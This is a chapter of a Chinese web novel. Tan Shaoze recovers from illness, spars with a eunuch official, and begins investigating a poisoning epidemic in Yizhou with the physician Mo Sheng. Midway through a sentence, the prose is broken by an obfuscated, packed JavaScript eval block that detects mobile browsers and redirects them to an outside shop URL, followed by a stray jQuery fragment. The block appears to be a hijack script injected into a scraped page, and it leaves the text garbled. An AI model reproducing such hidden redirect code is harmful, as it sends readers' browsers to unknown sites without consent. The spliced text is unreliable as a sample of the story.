4. 第 4 章
    谈绍择这一场病看似来势汹汹,其实并没有大碍,过了几个时辰变醒了。

    他曲着腿揉了揉太阳穴,像是要把头胀感压下去。

    “呦,醒了?”

    一道尖细声音冷不丁的从身边响起,谈绍择微微有些诧异,转头看着站在床边一脸不屑的红衣人。

    “……”谈绍择哑然,面无表情的看了他一眼,像是在反应他是谁。过了半晌释然般垂下头来。

    “??”红衣人有些不明白他在做什么,一脸不解。

    “敢问阁下姓甚名谁?”谈绍择略微有些病气的声音在空荡的室内环绕。

    红衣人面色不善,带着声音都有些微微怒意:“我是玄阁副阁主,许研舟。”

    “……玄阁副阁主。”谈绍择愣了两秒,又一脸茫然的抬头看着他的脸,像是在怀疑什么,喃喃自语,“许峙,许研舟,涑州许家人,许戚周怜之子,许家下一代家主,幼年时与圣女有过一纸婚约,不过前些日子因为圣子的出现婚约就此作罢。随后一蹶不振,进宫见圣,唔,扰乱后宫治安,做了太监。”

    “……”许研舟没想到一个名字就把自己的家底给暴露出来了,脸上浮现羞恼之色,“你!你怎能还调查别人的身世!”

    “陛下身边居心叵测的人,自然是要用心调查的。”这尖细的声音颇有些刺耳,谈绍择揉了揉耳朵,毫不在乎的顺口接道。

    “你!……”许研舟还想在说什么,推门声便打断了他的话。

    “谁进门不敲门!”许研舟气愤的差点拔出了剑骂人,结果一转头就对上了一脸吃了大瓜模样的莫晟,“……”

    “副阁主,您还是个太监啊!”莫晟一脸看热闹不嫌事大的走到他跟前,伸长了脖子往许研舟身边凑,“还是因为圣女的原因,圣女知道吗?我不知道的话,我可以帮你说哦!”

    许研舟:“!”对,他这才想起来,莫晟前不久才承认自己是圣子,那个扰了自己婚约的“罪魁祸首”。

    最后许研舟在一阵无语的恼怒中再一次气哄哄的冲出了房门。

    莫晟看着许研舟气的打颤的身影十分不厚道的笑了两声,这才看向谈绍择,脸上顿时变成一副担忧模样:“着实没想到段子宁的心上人是个太监……你醒了,怎么样,觉得身体哪里不舒服?”

    谈绍择轻轻摇了摇头,面上还带些迷茫之意。

    “你这一生病醒来就发迷糊的习惯什么时候才好啊。”莫晟叹了口气,坐到一旁倒了杯水递给他,“醒了就没多大了事了……对了,给你说几件事,反正一会清醒了你又不是不记得。”

    谈绍择依旧愣愣的看着他,一双眼睛清澈的……愚蠢。

    莫晟忍住没说,给自己倒了杯水,慢悠悠的说:“我刚刚和王哥大致看了一下病情和病患,但是依我这么多年行医来说,这看着并不像生病,而更像是中毒,中毒的缘由王哥还在查,但我觉得查到的机率不是很大,因为我打听到,沂州城内这种病已经存在了很长时间,即使有,也很难发现。这事只能是你去查,我们查不出什么……

    “京都那边也来了消息,陛下也病得越来越严重,你带去的几个人都束手无力了,天子驾崩,迟早了。”

    “不得胡言……”谈绍择冷声叱咄。

    “你清醒了?这次清醒的挺快。”莫晟说的有些多,又给自己倒了杯水,“京都那位的事情我就不说了,反正最后是我给他收尸……沂州的事情你有办法吗?”

    “你需要多长时间去研制出解药?”

    莫晟大致掐指算了算:“给我一个礼拜,我需要知道这是哪里的毒,对症下药。”

    “五天。”谈绍择毫不留情的砍去了两天,“一个月后是小殿下的生辰,我身为他以前的老师,必须要去祝贺。”

    “五天就……五天吧。”莫晟本想着争执几句,但想着又没人能争得过谈绍择,默默妥协。

    “我亲自去调查下毒的事情,你让王哥去暗中调查沂州知府,让许研舟去在城南建造几处屋舍,将病重的人都安排在城南,没有中毒的人都去别的地方把病重的病患都移到城南,沂州城大,仅凭我们四人是不可能安排妥当的,况且我们对沂州城地形也并不是很熟。”谈绍择呡了口水,面无表情的吩咐着。

    “行,我这就去办。桌子上放着城南的地貌图,你别忘了看看啊。”莫晟说着便要起身。

    “等等……”谈绍择叫住了他。

    “怎么了?”莫晟问。

    “我听闻,许研舟与池厌将军关系有些迷离?”

    “可不是嘛。”莫晟一脸不屑,“池厌没当上武状元的时候在涑州整日和许研舟厮混在一起。”

    “那你说,如果我们把许研舟绑了,池厌会不会立场改变?”

    “我劝你还是别了,我不想再被抓了,你又忘了‘畜生’与池厌关系也匪浅。”莫晟头摇的像拨浪鼓,脸上大写的拒绝。

    “你前不久不还说宁愿待在那位‘畜生’身边也不想待在京都吗?”谈绍择一脸看好戏的看着莫晟。

    “……”莫晟这才反应过来,脸上迅速闪过一丝红晕,“好啊谈绍择,你还敢打趣我了。”说着,把茶盏一放,像是要遮掩什么的匆匆离去。

    徒留谈绍择在床上发笑。

    .

    莫晟并没有在意谈绍择的玩笑话,他走到一个露天棚里,看着自己正在煮着的东西,微微有些出神。

    如果说沂州城百姓多数都中了毒,那这毒传播的还挺久。来往沂州的商贩不是很少,为什么会突然中毒,真是一个谜……而且这种毒并不是很常见,他走南闯北这么多年,连南疆西域这么神奇的地方都去过,什么毒没见过。

    等等,西域?

    一道灵光一闪而过。莫晟晃了神,携着自己的医箱急匆匆额冲了出去。

    穿戴好衣物的谈绍择还没来得及打招呼,只看见了他跑去的背影。

    很潇洒。

    谈绍择叹了口气,又下意识的抬头看了一眼房瓦角落

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176452|150602||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,暗了暗神。他轻咳两声,抬腿向驿站外走去。

    当务之急,是要找到下毒之人是谁,以及通过哪种方式下的毒,这么大费周章。

    谈绍择为了提升自己的血色,让自己显得不那么虚弱,罕见的穿了身绯色,又在外面套了件披风。因为刚醒来的缘故,唇色泛红,整个人被裹在披风里,与整个环境格格不入。

    他走出驿站没多久便看见刚刚匆匆跑走的莫晟正一脸正色的扎在人堆里,连谈绍择来了也没有注意。

    谈绍择并没有在意,他看了看躲在破旧茅屋里的人,大多数还有意识的人频频往他的方向来看。不怪他们,谈绍择长的便十分惹眼,平日里一身月白色长袍都能在大街上获得无数目光。

    “好漂亮的哥哥……”一声奶萌的声音在嘈杂的环境中传入谈绍择的耳朵里。

    谈绍择寻着声音向不远处看去,就看见一个浑身上下都是血污的奶娃子正一脸不怯生的坐在地上看着自己,眼睛一片通红,身边还躺着两副尸体。

    他静了两秒,走到奶娃子身边蹲下,然后解开了自己的披风披在了奶娃子的身上,,揉着他颇乱的头发柔声道:“男子汉顶天立地,不能掉眼泪。”

    奶娃子有些呆滞,看着近在咫尺的谈绍择下意识的抓住了他的衣摆:“哥哥……”

    谈绍择正想着起身,就察觉自己的袖子被别人拽着。他低头看着不知所措的奶娃子笑了笑,弯下腰又揉了揉奶娃子的头发:“乖,乖乖接受治疗,哥哥马上回来。”

    奶娃子不明所以,乖巧的点了点头。

    谈绍择眼里含着笑意看了一眼裹在披风里的奶娃子,看了一眼还在忙碌的莫晟轻轻叹了口气,悄无声息的走了出去。

    病患交给莫晟他很放心,所以他现在的主要任务是调查毒是从哪里传来的。

    他从腰带里取出一张纸展开铺在石墩上,细细看了起来。

    这是沂州城的地貌图,虽然绘制匆忙,但也能用。

    谈绍择半弯着腰,长发滑落肩头遮住了他的神色。绯色在寂静的城镇里格外亮眼。

    城北有一条河溪,上连京都月河,下连涑州潘河,如果在水中投毒,就不单单只是沂州城子民受害了。

    城南有一处粮仓,日常重兵把守,外人不得入内,投毒的机率也不是很大。

    城中为街市,人口拥挤,如果选择在城中投毒,会用什么方式呢?

    还有,下毒者是谁,有什么目的?为什么不下致命毒,而是慢慢折磨他人。

    谈绍择入了神,思索片刻,看了一眼身后还在看病的莫晟,最后选择独自前往城中。

    许是谈绍择的命令,城中多数人都已经去往城南,少数人行动不便,被来往还康健的士兵搬运回城南。

    谈绍择看着一个又一个在毒中煎熬的人心下一揪。或许别人不明白被下毒折磨的滋味,无法感同身受,但是他可以。

    他太明白这种感受了,毕竟这么多年,他都被这么折磨着。